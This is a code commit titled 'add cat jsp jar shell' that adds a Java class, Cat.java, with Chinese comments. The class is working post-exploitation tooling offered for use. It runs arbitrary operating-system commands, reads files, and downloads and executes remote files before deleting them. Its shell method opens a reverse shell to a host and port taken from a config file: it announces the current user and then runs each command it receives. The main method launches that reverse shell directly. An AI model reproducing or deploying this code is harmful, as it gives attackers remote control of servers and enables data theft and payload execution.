add cat jsp jar shell

jsp/cat/Cat.java

@@ -0,0 +1,189 @@
+import java.io.ByteArrayOutputStream;
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.io.PrintWriter;
+import java.io.StringWriter;
+import java.lang.reflect.Method;
+import java.net.MalformedURLException;
+import java.net.Socket;
+import java.net.URL;
+import java.net.UnknownHostException;
+import java.util.Properties;
+import java.util.regex.Pattern;
+
+public class Cat {
+	
+	static String encoding = "UTF-8";
+	
+	static{
+		encoding = isNotEmpty(getSystemEncoding())?getSystemEncoding():encoding;
+	}
+
+	/**
+	 * 获取配置文件
+	 * @return
+	 * @throws IOException
+	 */
+	public static Properties getProperties() throws IOException {
+		Properties p = new Properties();
+        p.load(Cat.class.getClass().getResourceAsStream("/config.properties"));
+		return p;
+    }
+	
+	/**
+	 * 异常转换成字符串，获取详细异常信息
+	 * @param e
+	 * @return
+	 */
+	public static String exceptionToString(Exception e) {
+        StringWriter sw = new StringWriter();
+        e.printStackTrace(new PrintWriter(sw, true));
+        return sw.toString();
+    }
+	
+	/**
+	 * 获取系统文件编码
+	 * @return
+	 */
+	public static String getSystemEncoding(){
+		return System.getProperty("sun.jnu.encoding");
+	}
+	
+	/**
+     * 非空判断
+     *
+     * @param obj
+     * @return
+     */
+    public static boolean isNotEmpty(Object obj) {
+        if (obj == null) {
+            return false;
+        }
+        return !"".equals(String.valueOf(obj).trim());
+    }
+	
+	/**
+	 * 输入流转二进制数组输出流
+	 * @param in
+	 * @return
+	 * @throws IOException
+	 */
+	public static ByteArrayOutputStream inutStreamToOutputStream(InputStream in) throws IOException{
+		ByteArrayOutputStream baos = new ByteArrayOutputStream();
+		byte[] b = new byte[1024];
+        int a = 0;
+        while((a = in.read(b))!=-1){
+        	baos.write(b,0,a);
+		}
+		return baos;
+	}
+	
+	/**
+	 * 复制流到文件，如果文件存在默认会覆盖
+	 * @param in
+	 * @param path
+	 * @throws IOException
+	 */
+	public static void copyInputStreamToFile(InputStream in,String path) throws IOException{
+		FileOutputStream fos = new FileOutputStream(path);
+		fos.write(inutStreamToOutputStream(in).toByteArray());
+		fos.flush();
+		fos.close();
+	}
+
+	/**
+	 * 模仿Linux下的cat Windows下的type 查看文件内容 
+	 * @param path
+	 * @return
+	 * @throws IOException
+	 */
+	public static String cat(String path) throws IOException {
+		return new String(inutStreamToOutputStream(new FileInputStream(path)).toByteArray());
+	}
+
+	/**
+	 * 执行操作系统命令 如果是windows某些命令执行不了，可以用 cmd /c dir 执行dir命令
+	 * @param cmd
+	 * @return
+	 */
+	public static String exec(String cmd) {
+		try {
+			return new String(inutStreamToOutputStream(Runtime.getRuntime().exec(cmd).getInputStream()).toByteArray(),encoding);
+		} catch (IOException e) {
+			return exceptionToString(e);
+		}
+	}
+	
+	/**
+	 * 下载文件到指定目录,保存的文件名必须指定
+	 * @param url
+	 * @param path
+	 * @throws MalformedURLException
+	 * @throws IOException
+	 */
+	public static void download(String url,String path) throws MalformedURLException, IOException{
+		copyInputStreamToFile(new URL(url).openConnection().getInputStream(), path);
+	}
+	
+	/**
+	 * 连接远程端口，提供本地命令执行入口
+	 * @param host
+	 * @param port
+	 * @throws UnknownHostException
+	 * @throws IOException
+	 */
+	public static void shell(String host,int port) throws UnknownHostException, IOException{
+		Socket s = new Socket(host,port);
+		OutputStream out = s.getOutputStream();
+		InputStream in = s.getInputStream();
+		out.write(("User:\t"+exec("whoami")).getBytes());
+		int a = 0;
+		byte[] b = new byte[4096];
+		while((a=in.read(b))!=-1){
+			out.write(exec(new String(b,0,a,"UTF-8").trim()).getBytes("UTF-8"));
+		}
+	}
+	
+	/**
+	 * 下载远程文件并执行，命令执行完成后会删除下载的文件
+	 * @param url
+	 * @param fileName
+	 * @param cmd
+	 * @return
+	 * @throws MalformedURLException
+	 * @throws IOException
+	 */
+	public static String auto(String url,String fileName,String cmd) throws MalformedURLException, IOException{
+		String tmpDir = System.getProperty("java.io.tmpdir");
+		File tmpFile = new File(tmpDir,fileName);
+		download(url, tmpFile.toString());
+		String out = exec(cmd.replaceAll(Pattern.quote("${tmpdir}"),tmpDir+File.separator));
+		tmpFile.delete();
+		return out;
+	}
+	
+	public static Method getMethod(String method){
+		Method[] methods = Cat.class.getDeclaredMethods();
+		for (int i = 0; i < methods.length; i++) {
+			Method m = methods[i];
+			if(method.equals(m.getName())){
+				return m;
+			}
+		}
+		return null;
+	}
+
+	public static void main(String[] args) {
+		try {
+			Properties p = getProperties();
+			shell(p.getProperty("host"), Integer.parseInt(p.getProperty("port")));
+		} catch (Exception e) {
+			e.printStackTrace();
+		}
+	}
+	
+}